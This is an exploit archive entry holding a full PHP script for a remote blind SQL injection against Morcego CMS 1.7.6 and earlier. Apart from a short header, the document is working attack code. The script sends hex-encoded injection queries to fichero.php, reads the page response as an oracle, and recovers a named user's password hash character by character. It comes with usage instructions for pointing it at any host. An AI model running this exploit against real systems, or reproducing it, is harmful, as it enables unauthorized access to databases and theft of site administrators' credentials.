Morcego CMS <= 1.7.6 Remote Blind SQL Injection Exploit

2009-07-10T00:00:00
ID 1337DAY-ID-5479
Type zdt
Reporter darkjoker
Modified 2009-07-10T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            =======================================================
Morcego CMS <= 1.7.6 Remote Blind SQL Injection Exploit
=======================================================


<?php

function usage () {
	exit (  "\n".
		"+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n".
		"-                                                                   -\n".
		"+ Morcego CMS <= 1.7.6 Blind SQL Injection Exploit                  +\n".
		"- Author  : darkjoker                                               -\n".
	        "- Download: http://sourceforge.net/projects/morcegocms/             +\n".
		"+ Usage   : php xpl.php <hostname> <path> <username>                -\n".
		"- Ex.     : php xpl.php localhost /MorcegoCMS/ root                 +\n".
		"+                                                                   -\n".
		"-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-\n".
		"\n");
}

function hex ($string) {
	$i=0;
	while ($i<strlen($string)) 
		$hex .= "%".dechex(ord($string[$i++]));
	return $hex;
}

function check_chr ($hostname, $path, $pos, $char, $username) {
	$char = ord ($char);
	if (!($sp = fsockopen ($hostname, 80, $errno, $errstr, 5)))
		die ("[-] Unknow hostname.");
	$query = hex ("1' OR ASCII(SUBSTRING((SELECT password FROM morcego_users WHERE username='{$username}'),{$pos},1))={$char}-- ");
	$request = "GET {$path}fichero.php?{$query} HTTP/1.1\r\n".
		   "Host: {$hostname}\r\n".
		   "Connection: Close\r\n\r\n";
	fputs ($sp, $request);
	while (!feof ($sp))
		$reply .= fgets ($sp, 1024);
	fclose ($sp);
	if (preg_match ("|Page not found|", $reply))
		return false;
	else
		return true;
}

if ($argc != 4)
	usage ();
$hostname = $argv [1];
$path = $argv [2];
$username = $argv [3];
$array = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
echo "[+] Password (hash): ";
for ($i=0,$d=1;$i<strlen($array);) {
	if (check_chr ($hostname, $path, $d, $array [$i], $username)) {
		echo $array [$i];
		$i=0;
		$d++;
	}
	else
		$i++;
}
echo "\n";




#  0day.today [2018-04-11]  #